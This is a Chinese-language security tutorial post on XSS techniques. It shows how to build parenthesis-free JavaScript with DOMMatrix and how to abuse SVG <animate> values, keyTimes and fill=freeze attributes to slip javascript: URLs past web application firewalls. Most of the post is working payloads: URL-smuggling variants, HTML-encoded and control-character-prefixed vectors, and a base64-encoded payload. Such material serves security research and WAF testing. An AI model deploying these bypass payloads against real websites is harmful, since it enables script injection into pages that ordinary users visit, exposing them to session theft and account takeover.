1. 程式人生 > 其它 >無括號和svg的xss構造利用

無括號和svg的xss構造利用

前言

最近我學習了一些新的xss技巧在這裡分享給大家!

0x01 JavaScript without parentheses using DOMMatrix

背景

以前我們有兩個解決xss不帶括號的方法但是都有缺陷:

我們可以使用location=name來載入外部的程式碼,但是Safari不支援,另外還可以用onerror=alert;throw 1來實現xss,但是現在大多數的waf都會過濾throw 1,因此今天我們就來介紹以下第三種方法。

DOMMatrix

題目的虛擬碼:

根據上面的要求我們不能使用"'()[]\%;等字元,對於函式由於少了括號,我們只能用toString/valueOf函式但是不能傳引數。由於字元的受限我們不能提取字串的一部分。我們只能獲取toString值的第一個字元,例如:

解釋一下為什麼獲取的字元是/因為建立RegExp物件的toString是/(?:)/所以獲取的第一個字元就是/。

由於我們不能使用帶括號的函式,因此我們需要找一個物件,該物件toString是一個帶括號的函式呼叫,就是DOMMatrix,例如:

我們可以利用DOMMatrix來生成一個包含括號的字串,該字串為帶有引數的矩陣函式1, 0, 0, 1, 0, 0,但是有兩個問題:1.我們需要控制被呼叫的函式;2.我們需要控制傳遞給函式的引數。我們可以通過將函式分配給矩陣變數來解決第一個問題:

x=new DOMMatrix;

matrix=alert;

對於第二個問題:由於DOMMatrix建構函式返回的矩陣物件,中有一個屬性a,該屬性使我們能夠控制傳遞給該函式的第一個引數,其他引數依次類推:

綜上所述,我們可以利用DOMMatrix來構造payload呼叫alert(1377):

到此結束了嗎,沒有!有時候我們需要執行任意程式碼,因此我們繼續介紹怎麼怎麼執行任意程式碼。

首先我們傳遞到矩陣函式的引數必須是數字,這個可以用String.fromCharCode來把數字轉化成字元;其次我們必須給矩陣的每個屬性都賦值,因為其預設是0或1,在執行函式時將會報錯;如果字元的位置都佔滿了6個屬性,我們需要再次建立物件使用位置分配。

最終的payload如下:

構成的字串如下:

javascript:a=matrix(106, 97, 118, 97, 115, 99)+matrix(114, 105, 112, 116, 58, 32)+matrix(97, 108, 101, 114, 116, 40)+matrix(49, 51, 51, 55, 41, 59);location=a;void 1

我們使用location兩次,一次生成字串,第二次將字串賦值給location。其中void 1阻止瀏覽器寫入所述第二位置分配為HTML。

0x02 SVG animate XSS vector

背景

一般對於現在的waf都可以提取標籤的屬性值,然後檢驗其中是否有惡意程式碼達到遮蔽的作用,但是我們可以用<animate>標籤的values屬性中間插入JavaScript URL和多個值來繞過waf,例如:

<animate values="http://safe-url/?;javascript:alert(1);C">

這樣對於某些waf來說可能識別失敗,並將上面的屬性值視為安全的URL。

這項研究的作者提出了一個完美的XSS攻擊媒介:

<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>

接下來我們將嘗試將上面的payload縮短。

payload縮短

在開始之前,我們需要了解values和keyTimes屬性之間的關係。

讓我們看一下文件(https://svgwg.org/specs/animations/#KeyTimesAttribute),以瞭解什麼是keyTimes:

以分號分隔的時間值列表,用於控制動畫的步調。列表中的每個時間都對應於values屬性列表中的一個值,並定義了何時在動畫功能中使用該值。

"keyTimes"列表中的每個時間值都指定為0到1(含)之間的浮點值,代表動畫元素的簡單持續時間的比例偏移。

對於線性和樣條動畫,列表中的第一個時間值必須為0,列表中的最後一個時間值必須為1。與每個值關聯的關鍵時間定義何時設定該值;值在關鍵時間之間進行插值。

為了更好地瞭解其行為,我們將建立一個滑動圓的動畫(這裡就不演示了感興趣的可以自己嘗試一下,將下面程式碼用瀏覽器開啟即可):

在上面的示例中,發生了兩個動畫。圓從0滑到80,然後從80滑到120。我們減少中間keyTimes屬性的次數越多(前者的值設定為0.5),動畫的第一部分越快。但是,當該值減小到0時,動畫的第一部分將被忽略,並且圓圈將從80滑動到120。這正是我們需要的:

我們要確保始終顯示動畫的第二部分(而始終忽略第一部分)。為此,設定了兩個附加屬性:repeatCount = indefinite –告訴動畫繼續播放,dur = 5s–持續時間(任何值都足夠)。

讓我們快速瀏覽一下文件(https://www.w3.org/TR/SVG11/animate.html),注意這兩個屬性是多餘的:

如果動畫不具有"dur"屬性,則簡單持續時間是不確定的。

代替無限重複5s動畫,我們可以建立不重複的無限動畫。這樣,我們就可以擺脫dur屬性(預設情況下將其設定為不確定的值),然後我們可以刪除repeatCount。

對於下面的程式碼:

第一個動畫不會發生(因此href屬性不會設定為https://safe-url),而第二個動畫會(href指向javascript:alert(1)並且將無限期地保留在那裡)。這樣,我們就可以縮小初始XSS攻擊向量,如下所示:

<svg><animate xlink:href=#xss attributeName=href keyTimes=0;0;1 values="http://isec.pl;javascript:alert(1);X" /><a id=xss><text x=20 y=20>XSS</text></a>

Freeze the keyTimes

事實證明,這keyTimes不是唯一允許我們使用values屬性列表中非第一個值的屬性。由於我們想在後面走私javascript:alert(1),而不是一開始就走私,因此,最明顯的解決方案是將其擺在最後。

SVG標準定義(https://developer.mozilla.org/zh-CN/docs/Web/SVG/Attribute/fill)了一個屬性fill。它指定動畫的最終狀態是第一幀還是最後一幀。

<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">

<circle cx="10" cy="10" r="10">

<animate attributeName="cx" dur=5s values="0 ; 80 " fill=remove />

</circle>

</svg>

如果屬性fill設定為"remove",則在動畫結束時它將移回第一幀。圓從0滑到80,然後移回0位置。

<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">

<circle cx="10" cy="10" r="10">

<animate attributeName="cx" dur=5s values="0 ; 80 " fill=freeze />

</circle>

</svg>

如果將屬性fill設定為freeze,則動畫將保留最後一個動畫幀的狀態。圓從0滑到80,並停留在完成動畫的位置80。這樣,我們可以將我們javascript:alert(1)作為最後一個元素,並確保在動畫結束時始終顯示該元素。

這種解決方案有點棘手。在碰到最後一個元素之前,我們需要遍歷第一個元素。我們不能忽略它;

但是,我們可以通過將動畫的持續時間設定為非常短的值(例如:1ms),使第一個動畫幀幾乎可以被人眼忽略。

動畫開始播放時,href屬性將僅設定http://isec.pl為1毫秒,然後它將保持開啟狀態javascript:alert(1)。

<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>

其他繞過WAF的技巧

混淆WAF的主要技巧是插入惡意javascript:alert(1)向量作為URL的有效部分。儘管值必須用分號分隔,但我們仍可以輕鬆地構成一個有效的URL,在其中走私我們的javascript:alert(1)向量:

values="http://isec.pl/?a=a;javascript:alert(1)"作為引數值。

values="http://isec.pl/?a[;javascript:alert(1)//]=test"作為引數名稱。

values="http://isec.pl/?a=a#;javascript:alert(1)"作為雜湊的片段。

values="http://;javascript:alert(1);@isec.pl"作為基本身份驗證憑據(keyTimes變體)

HTML編碼

此外,我們允許對values屬性內的任何字元進行HTML編碼。這樣,我們可能會更好地欺騙WAF規則。

<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;j&#97;v&#x61;script:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>

由於HTML編碼很方便,所以我們可能會使用一些額外的行為:允許某些字元出現在javascript:協議識別符號之前。01-32範圍內的每個ASCII值都可以使用。例如:

<svg><animate xlink:href=#xss attributeName=href values="&#11;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>

<svg><animate xlink:href=#xss attributeName=href values="&#01;&#02;&#03;&#04;&#05;&#06;&#07;&#08;&#09;&#10;&#11;&#12;&#13;&#14;&#15;&#16;&#17;&#18;&#19;&#20;&#21;&#22;&#23;&#24;&#25;&#26;&#27;&#28;&#29;&#30;&#31;&#32;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>

根據該項研究的作者觀察表明,這些值根本不需要進行HTML編碼(由於有效負載包含不可列印的字元,因此對它們進行了base64編碼以提高可讀性):

PHN2Zz48YW5pbWF0ZSB4bGluazpocmVmPSN4c3MgYXR0cmlidXRlTmFtZT1ocmVmICB2YWx1ZXM9IgECAwQFBgcICQ0KCwwNCg4PEBESExQVFhcYGRobHB0eHyBqYXZhc2NyaXB0OmFsZXJ0KDEpIiAvPjxhIGlkPXhzcz48dGV4dCB4PTIwIHk9MjA+WFNTPC90ZXh0PjwvYT4=

0x03 總結

上面的這些payload可以繞過某些不嚴謹的waf,通過這次的學習對xss又有著更深的理解。

XSS跨站指令碼攻擊原理與實踐(XSS攻擊,指通過在頁面注入惡意JAVASCRIPT程式碼,從而在使用者瀏覽被注入惡意程式碼的頁面時,控制使用者的瀏覽器行為的一種攻擊)

合天智匯:合天網路靶場、網安實戰虛擬環境